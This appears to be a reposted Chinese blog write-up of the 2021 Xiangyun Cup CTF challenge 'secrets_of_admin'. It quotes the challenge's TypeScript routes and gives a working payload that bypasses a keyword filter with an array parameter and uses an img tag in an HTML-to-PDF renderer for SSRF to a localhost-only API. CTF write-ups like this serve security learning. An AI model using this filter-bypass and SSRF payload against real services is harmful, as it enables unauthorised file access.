IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> JavaScript知识库 -> [2021祥云杯]secrets_of_admin writeup + TypeScript看看 -> 正文阅读

[JavaScript知识库][2021祥云杯]secrets_of_admin writeup + TypeScript看看

[2021祥云杯]secrets_of_admin

本文来自csdn的??shu天??,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ?ω? @)ノ!!

给了源码
在这里插入图片描述

INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645');

在这里插入图片描述
database.ts得到密码登陆进去
在这里插入图片描述
然后分析源码,routes/index.ts内是路由:

比较关键的/admin路由

router.get('/admin', checkAuth, async (req, res) => {	//检测登陆的用户token
    let token = req.signedCookies['token'];
    try {
        const files = await DB.listFile(token.username);
        if (files) {
            res.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true })
        }
    } catch (err) {
        return res.render('admin', { error: 'Something wrong ... 👻'})
    }
    return res.render('admin');
});

router.post('/admin', checkAuth, (req, res, next) => {
    let { content } = req.body;		//post请求获取一个content值
    if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
        // even admin can't be trusted right ? :)  
        return res.render('admin', { error: 'Forbidden word 🤬'});
    } else { //将content的值,放在HTML中,存为template
        let template = `	
        <html>
        <meta charset="utf8">
        <title>Create your own pdfs</title>
        <body>
        <h3>${content}</h3>
        </body>
        </html>
        `
        try {
            const filename = `${uuid()}.pdf`
            pdf.create(template, {	//template解析成PDF并保存到指定的目录中
                "format": "Letter",
                "orientation": "portrait",
                "border": "0",
                "type": "pdf",
                "renderDelay": 3000,
                "timeout": 5000
            }).toFile(`./files/${filename}`, async (err, _) => {
                if (err) next(createError(500));
                const checksum = await getCheckSum(filename);
                await DB.Create('superuser', filename, checksum)
                return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
            });
        } catch (err) {
            return res.render('admin', { error : 'Failed to generate pdf 😥'})
        }
    }
});

/api/files路由

router.get('/api/files', async (req, res, next) => {
    if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {	//只许127.0.0.1访问
        return next(createError(401));
    }
    let { username , filename, checksum } = req.query;
    if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
        try {
            await DB.Create(username, filename, checksum)	//将username, filename, checksum写进数据库的file表
            return res.send('Done')
        } catch (err) {
            return res.send('Error!')
        }
    } else {
        return res.send('Parameters error')
    }
});

还有读文件的/api/files/:id路由

router.get('/api/files/:id', async (req, res) => {
    let token = req.signedCookies['token']
    if (token && token['username']) {
        if (token.username == 'superuser') {
            return res.send('Superuser is disabled now');   //禁止superuser用户
        }
        try {
            let filename = await DB.getFile(token.username, req.params.id)	//根据用户名与url中传输的id去数据库中查找对应的文件名,getFile方法定义见下
            if (fs.existsSync(path.join(__dirname , "../files/", filename))){
                return res.send(await readFile(path.join(__dirname , "../files/", filename)));	//在../files/路径下读取该文件
            } else {
                return res.send('No such file!');
            }
        } catch (err) {
            return res.send('Error!');
        }
    } else {
        return res.redirect('/');
    }
});

上头的DB.getFiledatabase.ts中的定义,就是根据username和checksum在数据库中找文件

    static getFile(username: string, checksum: string): Promise<any> {
        return new Promise((resolve, reject) => {
            db.get(`SELECT filename FROM files WHERE username = ? AND checksum = ?`, username, checksum, (err , result ) => {
                if (err) return reject(err);
                resolve(result ? result['filename'] : null);
            })
        })
    }

思路:

admin路由中:content传入一个src属性的标签触发SSRF并访问api/files路由,利用/api/files在files表中为admin用户创建一个flag文件,然后通过/api/files/:id路由来读取该文件。

相关漏洞:

1.src属性的标签在html中可以自动触发,或者说是HTML转PDF时,HTML里面的图片资源被自动加载进来
2.includes()方法可利用数组绕过:学习笔记-Nodejs相关 - byc_404’s blog (bycsec.top)

payload:

content[]=<img src="http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=123">
//filename写./flag是因为数据库定义中filename是VARCHAR(255) NOT NULL UNIQUE,不可重复,所以不直接写成flag
传的时候需要url编码
content[]=<img+src%3D"http%3A//127.0.0.1:8888/api/files?username%3Dadmin%26filename%3D./flag%26checksum%3D123">

在这里插入图片描述
访问/api/files/123得到flag

本文来自csdn的??shu天??,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ?ω? @)ノ!!

参考wp: https://blog.z3ratu1.cn/%E7%A5%A5%E4%BA%91%E6%9D%AF2021%20wp.html
还有师傅用的http-pdf 任意文件读取漏洞:
https://suyumen.github.io/2021/10/12/2021-10-12-%5B2021%E7%A5%A5%E4%BA%91%E6%9D%AF%5Dsecrets_of_admin/

  JavaScript知识库 最新文章
ES6的相关知识点
react 函数式组件 & react其他一些总结
Vue基础超详细
前端JS也可以连点成线(Vue中运用 AntVG6)
Vue事件处理的基本使用
Vue后台项目的记录 (一)
前后端分离vue跨域,devServer配置proxy代理
TypeScript
初识vuex
vue项目安装包指令收集
上一篇文章      下一篇文章      查看所有文章
加:2022-04-06 16:08:57  更:2022-04-06 16:12:26 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 2:39:21-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码